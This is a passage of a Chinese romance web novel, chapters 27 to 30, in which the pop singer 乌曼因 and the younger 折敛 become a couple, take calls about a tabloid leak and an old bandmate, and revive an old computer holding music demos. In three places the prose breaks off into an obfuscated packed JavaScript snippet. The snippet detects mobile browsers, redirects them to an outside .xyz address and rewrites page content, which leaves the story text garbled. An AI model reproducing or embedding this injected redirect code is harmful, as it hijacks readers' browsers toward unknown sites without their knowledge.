折敛在她靠近的那刻就僵住了,他摸着脸,感受到湿润。 折敛脑袋宕机。 折敛傻了。 …… 乌曼因第一次离开黄钟县的时候,李藏之想,他该怎么留下她。 乌曼因说想要带他一起走的时候,李藏之想,算了,放过她。 他亲近的人很少,而对于每一个人来说,他都不是最重要的。 阿婆死后,折敛真切地意识到,最后一个爱他的人走了。 从此以后,别人看他的目光中只有可怜、畏惧和蔑视。没有人会爱他。 折敛曾以为乌曼因是那个例外,他们都没有等着他们回家的人,乌曼因笑嘻嘻地保证她会给他一个家。他想要乌曼因永远留在他身边,永远不分开。 但折敛……从来没有想过乌曼因是这个意思。 或许他可以自欺欺人这个亲亲是把他当狗了,其实当狗没有什么问题…… 总比忽然听到乌曼因说“其实我是看上你了”对他的心脏好点。 事情究竟是什么时候走向了错误的展开?折敛努力回想自己在这段时间和乌曼因的交流,无论是线上还是线下。 没错啊,还是以前的相处方式。 一样的聊天、一样的投喂、一样的散步、一样的人,最多他学会收敛了一些自己的恶劣本性,尽量装得像个陌生的安静美男子,而不是原来那只危险的年幼鬣狗。 他是说怎么乌曼因对他那么殷勤,殷勤得像诈骗。 原来不是旧友相见心有灵犀心心相惜……而是单纯看上了他的身子……亏他还以为、亏他还以为…… 某种意义上来说,果然不能对乌曼因有太多期待。 这女人脑子里都是些什么黄色废料。 折敛闭了闭眼,有点淡淡的绝望。想报警,但警察不管没心没肺的女流氓。 27. 折敛的恋爱观 “怎么,你不开心吗?”乌曼因,歪着脑袋,红唇微张着等了半晌也没等到预想中的热烈回应,敏锐地捕捉到对方脸上那一闪而过的僵硬。 “不,”折敛的声音轻得几乎要被晚风吹散,“我只是,太高兴了,不知道说什么。” 说什么? 说谢谢你的喜欢你的慧眼识珠但是看上我你有点疑似有点不做人了? 折敛后知后觉的危机感顺着脊椎往上爬。 虽然他不知道乌曼因在感情里是什么德行,但是他莫名确信是土匪式的、抢了就跑、事后还未必负责的家伙。 他现在整个人都是麻的,外表完好其实人已经走了有一会儿了。男女朋友、情侣,每一个词都超过了他的阈值。 需要一点心理建设。 得缓缓。 目光落到乌曼因红扑扑的脸,有些毛燥的头发上,能看见她扑闪的睫毛在脸颊投下小片阴影,离得近了,甚至能闻到发间清淡的柑橘香。 晚风把乌曼因毛躁的发丝吹到他锁骨上,痒得像某种试探性的撩拨。折敛突然意识到这是自己第一次平视她。 李藏之总是从上铺居高临下地俯视,带着些审视与好奇。 折敛知道自己并不是什么好人,作为一个完全抛弃伦理观的天生结果主义者,只要结果正确,他不在乎任何道德规范。 只要乌曼因开口要他,什么身份他都接得住。 这具身体当然也可以。 没有什么不能付出的,无非是价格还没给够。 男女朋友要干些什么? 他现在应该怎么做? 折敛记事特别早。记得父亲和母亲在床上时静谧的喘息,记得酒吧后巷里烂醉的男女连他这个小崽子都懒得避讳。那些年轻□□在欲望驱使下牵手、拥抱、接吻,像发情的野兽一样撕扯彼此的衣服…… 年轻的情人在欲望的驱使下,牵手、拥抱、亲吻、同床共枕,肌肤接触…… 人类最原始的本性,像野兽。 折敛一直为自己不为低级的欲望操控而感到高兴。 人和动物最大的区别就是有脑子,只会媾和的话脑子不用长在那里干嘛,顶身高吗? 而这项美好品德在这一刻化为乌有—— 这些画面渐渐化成了眼前乌曼因细腻的脖颈线条,比他小一号的骨架,永远笑盈盈的眼睛。 她说话时会露出小巧的虎牙,笑起来右脸会比左脸多出半个酒窝...... 喉结不受控制地滚动。 折敛第一次注意到乌曼因的外表,曾经乌曼因对他来说是一个无性别的大人,比他大一点但已经很熟练地穿梭在大人的世界里。 游刃有余地应付任何令人烦躁的应酬。 但又没那么大人,总会在一些小事上莽莽撞撞。 乌曼因在折敛面前总是摆着姐姐的架子,实际上还是他给她收拾烂摊子的时候多一点。 鬼知道她为什么能闯出那么多祸。 让他一度怀疑遇到他之前她是怎么顺利活下来的。 但没有人真的讨厌她。 他喜欢在阴暗的角落里观察她,观察她如何和其他人交流,三两句话就能让陌生人眉开眼笑。 不过她对他不一样,她对他笑的时候眼睛会先弯起来,伴随着难以理喻的奇思妙想。 折敛也曾和乌曼因同床共枕过,两个人挤在她的下铺,暖烘烘的像两只小动物。 她睡着时会无意识地把脚搭在他腿上,睡相非常差。 但是很温暖。 想一辈子这样。 秋千在吱呀停摆的声响里,已经渐渐落回了底下。 乌曼因见折敛似乎在出神,不知道他的沉默代表了什么,是真的高兴坏了还是在找借口。 乌曼因想她是不是真的阴沟翻船了一次,这人真对她毫无兴趣,单纯是个毒唯粉丝。 不对,大家不是说粉丝只是没机会当上嫂子,当上嫂子第一时间就忘本吗。 乌曼因眯起眼睛,戳一下,折敛动一下。 绯色从耳边泛起,慢慢延伸到他的脖颈,整个人变成一只煮熟的虾。 好容易害羞哦。 “所以你答不答应?” “……我能、我能明天再答复吗?” “不能,这么扭扭捏捏做什么,你还是不是男人?”乌曼因用小腿轻轻别了下折敛,“给点反应?” 他不是,行了吧? 被逼急了的折敛又闭了闭眼,睫毛剧烈颤动了几下,深吸一口气,像是下定了什么决心。去他/妈的底线,反正乌曼因又不知道他是谁。 不做人就不做人。 拿黄钟县社区教育老师的人品发誓,折敛本来也没有什么底线可言。 下一秒,他扣住面前姑娘的手腕压了上去。 乌曼因后脑勺撞在秋千链条上之前,先被一只苍白的手掌垫住。 直接低头吻住她的唇。 他亲得又轻又急,似乎也并不会接吻。 不知道哪里学的方法,与其说是接吻,更像是啃咬,他的牙齿磨过乌曼因的下嘴唇,迫使她张开嘴。 像狗一样。 力道让乌曼因想起第一次猎食的幼兽,连撕咬都带着笨拙的温柔。 他长得冷感,唇形却很丰润。 涎液在口中纠缠、交换,水淋淋的,发出令人脸红的水声。 最后相连在唇齿之间,拉出一道银丝。 在下意识动作中,他另外一只手完全罩住乌曼因的那截细腰。 痒痒的。 ……这么刺激的吗? 乌曼因被亲得相当恍惚,这还是她认识的清纯小折敛吗? 这好像是折敛第一次主动碰她。 往常都是她拽着他手腕到处跑,青年永远垂着眼睫任她摆布,像樽没多少温度的瓷娃娃。 说他生性羞涩吧,结果第一次就那么超过,真是难懂的男人。 乌曼因顺理成章地沉迷进折敛给她带来的温热与浪潮中。 等再抬头时,折敛睫毛湿漉漉地打着颤:“我现在……是你男朋友了吗?” 看这紧张兮兮的表情,还是那个清纯小折敛没错。 “看情况吧,”乌曼因抹了抹刺痛的嘴角,震惊之余居然有点想笑,“嘶”了一声,“等你什么时候吻技达标了再说。” 见折敛又像大型犬似的要凑过来,乌曼因赶紧抵住他的额头。 “我们的进度是不是太快了?” 折敛表情空白了一瞬:“快吗?不是这样的吗?” 他的眼神带着控诉,带着些生理性的水意,似乎在要求她不能始乱终弃。 他可是做好全套心理建设来的——告白之后接吻,接完吻开房,这不就是正常流程? 酒吧里的大家都是这样的,男女用亲吻表达看对眼的,然后下一步就是找前台开房。 一路亲着嘴走进房间里,像对分不开的连体婴。 折敛破罐子破摔。 反正他们今晚本来就要住一间,横竖都逃不掉。 他认为这就是乌曼因的邪恶计划。 偏偏在今天逼他表态,一定是某人已经把后面的步骤都准备好了,只等着他上桌。 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323455|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不清楚具体怎么做,但是乌曼因那么熟练的样子,她应该知道吧。 乌曼因不知道。 乌曼因其实是一位嘴上的巨人,行动上的矮子。她哪里见过这种架势。 折敛给她的刻板印象太深。她想象中的恋爱是得到一位纯纯的害羞男友,两人像高中一样勾勾手指,目光一触即分。 之后就算要更进一步,也是她来主导…… 而不是…… 等意识到自己的双手依然扣着乌曼因时,折敛差点从秋千上掉下去,又不知道双手往那里摆,悄悄无措地把手撤了下来,捏了捏衣角,眼神躲闪,想装作无事发生的样子。 他做完胆大的事情又害羞了。 想把自己藏起来,又怕乌曼因不认账,低着头用凤眼余光偷偷瞄她。 乌曼因听说只有恋爱老手会上手就放得很开,但是折敛有明显不像是有经验的人,更像是被逼到墙角豁出去的可怜老实人。 她也没有说什么很过分的话吧…… 不就是问折敛搞不搞对象嘛,不搞可以拒绝的,她又不是什么逼良为娼的人,哪里用的着这么如临大敌…… “你是不是第一次谈恋爱啊。” “是的……”他闷声道,“你怎么知道?” 他不介意自己情感经历的匮乏,但似乎总被乌曼因发现他恰好不太优秀的一面……又质疑他的学历,又不擅长感情。 “看出来的,跟狗啃骨头一样。不会是和电视剧里学的谈恋爱吧?刚开始就上嘴。”乌曼因猜测。 “……” 乌曼因“扑哧”一笑,在他嘴唇上不轻不重咬了一口。 “好啦,扯平,现在我们是男女朋友了。” 乌曼因愉快地拉过折敛,抱住他的脑袋。 她才不管折敛脑子里在想什么、懂不懂谈恋爱,强扭的瓜真甜。 暮色里两道影子终于变成秋千上摇晃的连体婴。 折敛把脸埋进她颈窝时想,好像……也不赖。 付出脑子和付出身体比起来……脑子是他的脑子,身体也是他的身体,有什么区别。 一样的一样的。 …… “有娱乐小组账号爆料你去南方小县城私会旧情人。” 乌曼因:“?” 什么玩意。 她从酒店前台那里拿回了拜托庞清送来的行李,把手机夹在耳朵和肩膀间,心虚地瞄了眼她拐带回酒店的新男朋友。 “小心我告他们诽谤啊,”乌曼因压低声音,“什么旧情人,我明明是新勾搭上的。” “……等等,我还以为他们在乱说,怎么还真有那么个人?”电话那头的真音姐沉下脸,对自己在公司处理看不到头的工作,乌曼因却在外面左拥右抱咬牙切齿,“什么新勾搭上的,你到黄钟县不是去干正事的吗?干了什么乌曼因?” 乌曼因略有点心虚:“哎呀……就,就折敛过来找我了,我看花前月下……没忍住。” 前台小姐看她的表情似乎跟看社会败类似的,拿到折敛身份证的时候仔细检查了一下年龄。 “折敛?” “对呀。” “他来找你了?” “对呀。” “折敛不是你刚认识的?” “对呀,所以不是旧情人。” “……” “……” 就这么点差距怎么告别人诽谤? 真音姐:“所以你还是和人搞上了?” 乌曼因:“能不能说得好听点?我正经谈恋爱的,你这么说话,不知道的还以为是潘金莲和她姘头。” 28. 南吕 “有照片吗?” “不知道,他们没说,要不要处理?” “能怎么处理,随他去吧,爱爆不爆。” 乌曼因撇撇嘴:“折敛是圈外人,把圈外人照片发出来的话等于开盒,我看他们是不想要号了。看他们是要一时的热度还是要养了几年的号。” 混迹娱乐圈这么多年,圈子里虚张声势的潜规则她非常清楚,谁先露怯谁完蛋,巧的是她乌曼因打娘胎里就是个硬骨头。 电话那头又絮叨训她几句,确认不是大事后,真音姐话锋一转:“人找着没?” “……” 乌曼因信誓旦旦地说计划目前正在按照精心设计的方案稳步推进,每一个环节都得到了有效落实,克服了诸多难题和突发状况,展现出了她极强的专业素养和应变能力,成功在望,总之不要着急。 真音姐发出“呵呵”的声音,显然半个标点符号都不信,但天高皇帝远也没办法冲过来揍人,只好不甘心地互道晚安挂了电话。 …… 正经人谁在休假期间聊工作呀。 乌曼因很快把真音姐地叮嘱抛到脑后,带着折敛,刷卡推开酒店的豪华套间,关上门,正要炫耀朕的江山,还没来得及打开房间里的电灯呢。 手指刚碰到电灯开关,似乎就触发了折敛什么开关。 他在黑暗中探出手来,将乌曼因压在墙壁上。 屋里黑得伸手不见五指,看不清对方轮廓美丽的脸,偏生折敛垂眸望过来时,眼睛在夜色中带着波光粼粼,更接近兽类冰冷的瞳孔。 锁定了目标的兽类。 乌曼因一直觉得自己被折敛吸引的原因有这份会说话的眼睛一份功劳。折敛话不多,但是他的眼睛明明白白地诉说着渴望。 渴望被注视,渴望接近…… 像是曾经被抛弃过一般,不安,又执着。 顾不上自己直竖的汗毛,她鬼使神差抚上了他的脸。 这双眼睛中的情绪复杂,泛着点幽冷的光。 ……还有点熟悉。 这个动作反而吓到了折敛,他的呼吸明显乱了一拍,手指间力气卸下,但似乎又想起了什么,又想要亲她。 哪里来的亲亲怪,亲亲是什么他表达情感的唯一方式吗? 乌曼因用手指捏了捏他的嘴巴:“你还亲,知不知道你有大麻烦了?” “什么麻烦?”折敛含混着问。 “我俩可能被拍了,”乌曼因叹了口气,“虽然一般没人关心我谈不谈恋爱,但……” 但指不定凌云出了其他需要压热度的麻烦就拿她来挡刀了。 两人一起挂热搜一天。 以乌曼因这种老油条对热搜的了解,情况大概是这样: 热搜榜上#乌曼因恋情#后面跟着个“爆”字,大伙看到都沸腾了,纷纷询问,折敛是谁。 扑哧…… 折敛的劲泄了,一时间也忘了接下来该怎么做,作为报复无奈地捏了捏她忽然发出笑声的嘴:“不要紧。” “真不要紧?你是圈外人,我得给你打个预防针。“ “出名的感觉很差劲的,走到哪里都像是案板上的猪……”乌曼因说着突然捧住折敛的脸,想象这张美丽的脸上出现别的神色,“不过熬过一阵子就好啦,网友都是金鱼记忆。” 她当然无所谓,但折敛一个学生,就算刚刚上任教授,也不知道能不能应付。 说话都慢半拍,又是残疾人,万一被网暴了怎么办。 会不会红着眼眶来找她求安慰? 不行不行,麻烦是她这边惹出来的,不能期待折敛哭唧唧的模样。 哪怕光想象一下就觉得很可爱也不可以。 折敛垂下眼,对自己可能要经历什么毫不在意,只是看着乌曼因的眼睛,问: “你以前也是这样的吗?” “嗯,什么以前?” 折敛轻声说:“你刚刚出名的时候。” 他以为她享受目光、灯光与舞台。 唯独这些他给不了她。 乌曼因有些讶异折敛会问出这样的问题,毕竟他看起来像她的毒唯事业粉……粉丝总以为明星天生是明星,他这问的,倒像是见证了她慢慢成名的过程。 “我那时候网络还没这么发达啦,大伙比较含蓄,”乌曼因回忆了一会儿当年的心境,觉得还是快乐多过麻烦的,“而且,当时单纯就是缺钱才去比赛,莫名其妙就出名了。” 她成为受人关注的大明星已经很久了,她觉得很好。人最缺的是掌控自己未来的能力,这份职业给了她自由的资本。 “……现在不缺钱的了吧。” “那当然不缺了,”乌曼因觉得折敛好像还在怀疑她的财力,立刻挺直腰板强调,“养你绰绰有余。” 折敛没说信,也没说不信。他低笑出声,胸腔震动传到她掌心。 他养大了一只脾气不咋样的百灵鸟,原本以为煮熟的肉从嘴边跑走了,谁知这人又回来自投罗网。 他忍不住抱得紧了一点。 乌曼因刚想把手臂缠上他的腰,突然“嘶”了一声,皱着眉去摸后背:“你硌到我啦。” 她皱眉着说出了虎狼之词后,推了推黏黏乎乎的小男友,从后背和墙之间拽出个背包。 背久了都忘了还有一个包。 等等,包? 乌曼因惊呼一声,鲤鱼打挺从折敛怀里弹起来,一个箭步冲去开灯。 “没压坏吧没压坏吧……”灯一亮,她碎碎念着,手忙脚乱从包里掏出个小铁盒,确认每个角都完好无损后才长舒一口气。 “还好还好,很结实。” 要是压坏了等于一条线索断她面前,她起码得难受两天。 起码得撑到她回北京找人来修……等等,为什么要回北京?回北京她也是找折敛修来着。 乌曼因眼睛滴溜溜转了一圈,于是把盒子怼到折敛眼前,很期待地看着他。 “小折敛,你能试试把它开机吗?”她眨巴着眼睛。 折敛还没从温存中回神,怀里就多了个冷冰冰的铁疙瘩。 到了酒店迎接他的不是乌曼因的亲近,而是工作。 他垂眼扫过这个当年随手组装的破电脑,莫名有种人不如电子垃圾的既视感,不爽地“嗯”了一声。 “能者多劳嘛,修好了有奖励的。”乌曼因也知道让男朋友晚上加班不道德,晚上指尖讨好地勾了勾他小拇指。 奖励自然是金钱那种庸俗的东西。 虽然折敛也不是很想要的样子。 …… 折敛刚把那台散架电脑的电源接上,主板指示灯“啪”地亮起红光时,乌曼因正想凑近看,兜里的手机突然震动起来。来电显示“王兴旺”三个字让她撇撇嘴。 “你先修着,我接个电话。”她冲折敛晃了晃手机,坐到房间角落的藤编椅子上。 折敛捏着钥匙挑开杂乱的线,闻言头也不抬,不动声色地就着蹲姿往她这边偏了偏脑袋。 助听器银色的外壳在顶灯下反着光,衬得他侧脸线条更暗了些。 乌曼因翘着椅子腿晃悠,鞋尖有一下没一下地踢桌腿:“喂?王老板?怎么有空给我打电话?” 那头背景音里夹杂着麻将碰撞的清脆声响和几个老人高声“碰!”“杠上开花!”的喧闹,王兴旺说:“你能不那么阴阳怪气嘛,不就没和你去学校来着,我去了又能咋样?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323456|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“瞧您说的,我又没说找你算账。”乌曼因打了个呵欠,“这个点给我打电话干嘛,打扰到我的夜生活了。” “?”王兴旺忍不住问,“是我想象中的夜生活吗?” “是的,就是你想象中的那种,我和男朋友在酒店呢。” “在黄钟县现点的男朋友?”王兴旺瞳孔地震。 “……”乌曼因无语,“我男朋友从北京来找我,你脑子里在想什么,龌龊。” 王兴旺讪讪:“你都有男朋友了啊……” “都有好几个了。” 他声音又抬高:“好几个?!” “怎么?就算一年一个也有七八个了吧。” “哦……不是同时谈的啊,吓死我了……” 王兴旺被她一通莫名其妙的对话吓得都忘了本来想要说什么。 乌曼因不知道自己在王兴旺眼里到底是个什么形象,懒得理会他的胡言乱语,摇了摇椅子:“所以你来找我做什么?” “对了对了,”王兴旺这才终于想起正事,“有个事儿。” “说吧。” 乌曼因还急着看她的电脑。 王兴旺在电话那头嘿嘿两声,那笑声中带着某种乌曼因熟悉的、准备看好戏的意味,显然接下来要说的事情才是他打这通电话的来意。 乌曼因太熟悉这调调了,知道这老头憋着坏呢。 王兴旺:“南吕现在也在黄钟县。” 南吕? 乌曼因挂断电话的手停下,怀疑自己耳朵出问题了,她以为这个名字应该已经彻底的从他世界里消失了:“她回来干嘛?” 随后她意识到黄钟县是南吕的家,她乌曼因才是外来人口。 听到这个名字乌曼因就头疼。 让她想起黄钟县带给她的不止有美好的回忆,更有无力、烦躁、一团麻乱。 她还以为南吕这辈子不会踏足黄钟县了。 八年前,南吕离开时的决绝,乐队随之解散,所有被她刻意封存的记忆此刻全都涌了上来。 “回来结婚,”王兴旺的声音里透着几分看热闹不嫌事大,“对象就是以前经常和你们一起去网吧打游戏的小子,我早看出来那小子对南吕有意思,天天蹲酒吧看南吕弹吉他。” 乌曼因想了半天,总算浮现出一个戴着厚眼镜、总是安静地坐在角落里的瘦高男孩形象:“那个打Dota的?” “我咋知道打什么的,听说后来当职业选手赚大钱了。”王兴旺感慨道,“时间过得真快啊,当年你们乐队四个人多牛逼啊……” 乌曼因也觉得时间过得真快啊,一眨眼十年就过去了。 Cats乐队有四个人。 主唱乌曼因、吉他手南吕、鼓手庞清,以及贝斯手姬无射。 或者还有一个编外成员,提供编曲技术支持的李藏之。 他们曾经是黄钟县地下音乐圈的顶流,周末酒吧演出时观众挤得水泄不通。那段日子,空气中都弥漫着青春和疯狂的味道。 当然对王兴旺来说,怀念的可能是数钱数到手抽筋的美好时光。 “怎么这么巧?”乌曼因有些奇怪。 她回来找李藏之、顺带叫回了庞清,南吕回来结婚…… “人生嘛,无巧不成书。你不也是很巧地回来了吗。要是小姬也回来,那就真是热闹了。” “免了,一个庞清就够我头疼,再加个人,加倍头疼。”乌曼因揉揉眉头,“该来的不回来,不该来的来一堆。” “你要和她见见吗?” “有缘再说吧,她不一定想见我。” 南吕恨李藏之,南吕恨很多人。乌曼因这次回来只是为了寻找李藏之的,不想节外生枝。 29. 李藏之的礼物 趁着乌曼因背对着他接电话的间隙,折敛拿出车钥匙,熟练地将主板短接开机。 电脑本身没质量问题,只是乌曼因不会开。 CPU以及主板内存条这些都是从附近网吧顺的,装在铁盒子里看着寒碜了一点,其实CPU用的是AMDx2,后来装机佬最喜欢的e3神教那时候都没有上市,这款已经算顶配了。 曾经他走的时候,没想留下什么东西,这台电脑除了音乐软件外几乎全部清空。 看着逐渐亮起的屏幕,折敛捏了捏口袋里的u盘,思绪飘到了几个小时前。 …… 在乌曼因到达黄钟县的前一个小时,折敛推开了Cats酒吧的大门。 钥匙是他以前偷配的,反正王兴旺也打不着他。 在他指尖转了一圈,发出清脆的金属声响。 本来准备把附近监控的画面全部覆盖掉,但想想现在他被人盯着,又成年了,真进去可不好捞出来。 一般人自然做不到,可是黄钟县以及附近的县市的几乎所有市政监控的集成系统是他搭建的,他留了个后门。 空气很差,折敛走过自己参与设计的歌厅,阴暗的长廊,推开杂物间的门。 很久没有人来了,他拉开窗帘,阳光穿过几乎是落地窗的玻璃直射进来,刺得折敛眼睛闭起。 明明没什么东西,但杂物间比他记忆中小了许多. 折敛坐在双层床的下铺,床架发出不堪重负的呻吟。望着曾经最熟悉的、承载着他最轻松时光的杂物间,此时空荡荡的,过一天活一天的人难得思索未来。 乌曼因想要李藏之手上的曲子。 她的语气怎么可以那么理所当然,仿佛只是在要回本就属于她的东西,带着那种“我知道我们之间已经完了,但那又有什么要紧呢”的理直气壮。 折敛是没什么为人的尊严,他完全可以装狗讨乌曼因的欢心,这不表示他真的好说话。 王兴旺不把折敛赶走,真是因为他心善吗?是他不敢。 他宁愿掩耳盗铃当没折敛这个人,也不敢对折敛说一句重话。 任何染指鬣狗所有物的人,都会受到报复。 “给不给呢……”他靠在床柱上,盯着结在墙角一处空落落的蛛网。 这里没有足够的昆虫,蜘蛛饿死在了网上。 他就像这一只蜘蛛,固执守着自己无用的蛛网不肯离开。 不给,她看起来很想要;给了,他又不甘心。 凭什么呢,她不要他了,八年后忽然找上门,说我想要这些曲子了,你把它们给我吧。 它们安静地躺在他的磁盘里,陪他度过无数个离开黄钟县的夜晚。 他坐在床板上,越想越生气,愤怒像潮水一样涌上来,捶了一下身下木质的板,震起一层灰。 他脸上难道写着“很好说话”四个字吗?他是那种被打了左脸,还把右脸凑上去给她打的人吗? 折敛弓着腰,指甲深陷进木质的床板里,在狭小的杂物间里像一头困兽。 最后做了一个决定。 他选择什么都不动。 当年的李藏之留下来什么线索,他什么都不动。 但他故意要留下自己来过的痕迹,半掩的门、拉开的窗帘、床上的坐痕,他要明目张胆地展示自己来过,让乌曼因为他心神不宁。 至于那些曲子,他才不给呢。就让李藏之成为乌曼因心头的一根刺,拔也拔不出来。一想到就如鲠在喉。 多好啊。 …… 折敛犹豫了两秒,把这个从不离身的U盘拿了出来,修长的手指无意识地摩挲着U盘边缘。 插进主板接口,拷下一个压缩包,点击解压。 他的目光锁定在这个没有命名的压缩包上,右键点击"解压到当前文件夹"。 进度条缓缓蠕动,1%、2%……速度慢得令人心焦。 他不动声色地等着进度条慢慢地爬。 折敛的余光始终没有离开乌曼因的背影。她今天穿了件时尚的粉色上衣,长发随意地挽在脑后,有几缕不听话的发丝垂落在颈间。 正对着手机说着什么, 她一边说,一边无意识地用脚尖轻点地面,这是她不耐烦时的小动作。 对方应该是她熟悉的人。 键盘在折敛修长的指节下发出轻微的敲击声。 压缩包里放着那两年里李藏之给乌曼因写的全部demo和编曲。 由于他本人其实并不是很擅长作曲,里面大部分其实是编曲作品。他真正的天赋在于能将乌曼因那些破碎的音乐灵感编织成完整乐章。 真正擅长作曲的是乌曼因,她才是那个被缪斯亲吻过额头的人。 女孩身体里住着音乐的灵魂。 可能是因为不想再和李藏之有任何关系,乌曼因出道后并没有使用过其中任何一首曲子。 任何一首。 有时候深夜失眠,他会打开这些音频,就着频率的波动陷入回忆。 不明白为什么这些美好的曲子为什么会和他一样被直接丢掉。 明明这是她在最年少的时候创造出来最鲜活的歌曲,不完美,显得稚嫩,但是每个音符里都跳动着那个最有灵气的的乌曼因。 他将其中最喜欢的一首录入了莲花蜡烛。 折敛花了三个晚上,才解决完那个杂牌芯片的烧录器,把歌曲塞进那个廉价的莲花蜡烛里。 他想,你可以放弃我。但你不要忘了它们。 …… 折敛的神色柔和下来。 在听力受损后,这些是他仅有的能帮到乌曼因的东西。 算是李藏之最后的礼物。 要不是乌曼因忽然追求他,他以另一种形式达到了自己的目的,才没有那么好心把这些曲子爽快给出去。 当年把他弃之如敝履,现在想要就要,他成什么了。 迟早要让乌曼因感受他的痛苦。 现在只是先给她一点甜头。 而且……除了这些,他已经给不了别的了,她如果再需要帮助怎么办,他做不到了。 他要乌曼因知道,他不帮乌曼因继续编曲只是因为不想,而并非不能。 不如把两人的回忆和证明两人回忆存在的证据全部给出去,从这里就断了。 折敛会和乌曼因有一个新的开始。 他小时候总是自负天分……到头来……靠的居然是他从来没注意过的脸。 在压缩包解压的的最后一秒,乌曼因打完了电话,忽的一下探头过来:“你开机成功了吗?” 她挤到折敛身边,蹭了蹭,靠在他的肩膀上:“呀,成功了!我家小折敛真厉害!让我看看……” 折敛真是她的小天使,又美貌又能干。 折敛任她像只树袋熊一样挂在自己身上,想象她等会见到这些音频文件高兴的样子,心里觉着自己没错,他有自己的节奏。 “刚才是谁的电话,让你不高兴了吗?”他状似随意地问,一边悄悄拔下了U盘。 “这么明显吗?”乌曼因从折敛手里接过了鼠标和屏幕。 “你打完电话,眉头就拧在一起了。”折敛轻声问,“有什么,我可以帮得上忙的吗?” “没什么,很难应付的人扎堆。让我抱抱就行啦。” 乌曼因趴在折敛颈窝里,把折敛当大型抱枕,满足地深吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323457|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气。 还好,在这冰冷的世界幸好还有折敛带来一丝温暖。 和黄钟县的这堆破事一点关系都没有,干干净净小美人。 不给她找事、不阴阳怪气嘲讽她,还能提供后勤支持。 一个成功的女人背后就是需要这么居家贤惠的男人啊。 “你不想见到他们吗?” “也没有不想见啦,是我一个老朋友来黄钟县了,见不见都行……还是见吧,我有事找她。”乌曼因含含糊糊地说着。 在“老朋友”三个字上,她说重了一点,像是在说服自己。 “男的还是女的?”折敛突然问。 乌曼因本来还在纠结和黄钟县一干人的爱恨情仇,经历得多了,所有人在她眼里都是无性别的崽种,区别只是聪明的崽种和不聪明的崽种。 等她反应过来,心想:哇,小家伙进入身份很快嘛,领地意识好强,她还以为折敛是不屑于吃醋的清冷挂呢。 真是人不可貌相。 乌曼因稀奇地挑挑眉,把折敛又盯得难为情起来。 在折敛紧张的目光下,乌曼因故意拖了一会儿掉足了胃口,才笑着说:“是女生啦。” 她等着看折敛松口气的表情,却意外发现对方的脸色更黑了。 乌曼因:? 女生的醋都吃? 折敛“哼”了一声,把乌曼因的手扒拉下来,站起身:“我去倒杯水。” 走到饮水机前,折敛深吸一口气,冰凉的水流进喉咙,才压下一点烦躁。 他凤眼一凝,乌曼因在黄钟县的女性朋友,又能被她称之为麻烦的,无非就只有一个人。 南吕、南吕…… 这个名字像根扎穿筋骨的钉子,扎在两个人之间,让他寝食难安。 他捏捏卫衣口袋里的手机,凤眼阴沉地压下,睫毛掩去了眸中翻涌的暗色。 是他做的太少,让南吕还敢出现在乌曼因眼前。 但乌曼因说她有事要找南吕……他又不愿意打扰乌曼因的计划…… 折敛的舌尖抵住上颚,强迫自己冷静下来,阴晴不定地思考几秒。 又不能像当年李藏之一样直接发疯。 他不愿意打扰乌曼因的计划,这种想做又做不到的撕扯感让他的牙关绞紧,生理性上恶心反胃。 思考失败,谁让他不高兴了,他能让所有人都不高兴。 还是去威胁南吕吧。 “有个老朋友来都这么紧张,你怎么不问我要找的那个作曲人男的女的?”乌曼因扁扁嘴。 没了温暖的抱抱,只能抓了一只枕头抱着,扒拉着鼠标在小小的电脑屏幕上随便乱点。 “……”折敛问,“男的还是女的?” “男的。”乌曼因说完自己都笑了,像是才想起李藏之是男生。 “不过是个小男孩啦,年纪不大,比你还……”她的话突然卡住了,皱眉仔细算了算,还真说不好折敛和李藏之谁大谁小。 “你几月份生的?” 折敛眼神不由得躲闪,只看着手中的水杯:“十月。” 李藏之是九月份生日,乌曼因不仅知道,她还拉着全酒吧人给他开过生日party,派对上有彩带、廉价香槟和走调不走心的生日歌,感觉就是借着他生日的由头聚餐。 ……这不是比李藏之还小点吗,乌曼因听了十分纠结。 自嘲自己是个禽兽和意识到自己真的是个禽兽之间还是有很大差距的…… 要是真找到李藏之,怎么让他称呼折敛,“姐夫”? 等介绍的时候她这张老脸还要不要…… 乌曼因也眼神飘忽:“……算了,这不重要。” 30. 纯情 打算去找南吕晦气后,折敛终于心情好了一点。 他顺手端来一杯温水,递给乌曼因。 很无意识的举动,等他为乌曼因接完水后才意识到自己干了什么。 折敛凝视自己的手……他一直是个很自我的人,油瓶倒了都不带扶的。 从小被众星捧月地供着长大,后来又被人避之不及地躲着,哪种都养不出正常的小孩。 李忘之说他就是个披着人皮的牲口。 折敛“呵呵”两声,翻出世界知名智商俱乐部门萨的邀请函怼她脸上。 大概是表达“你连牲口都不如”之类的恶毒含义。 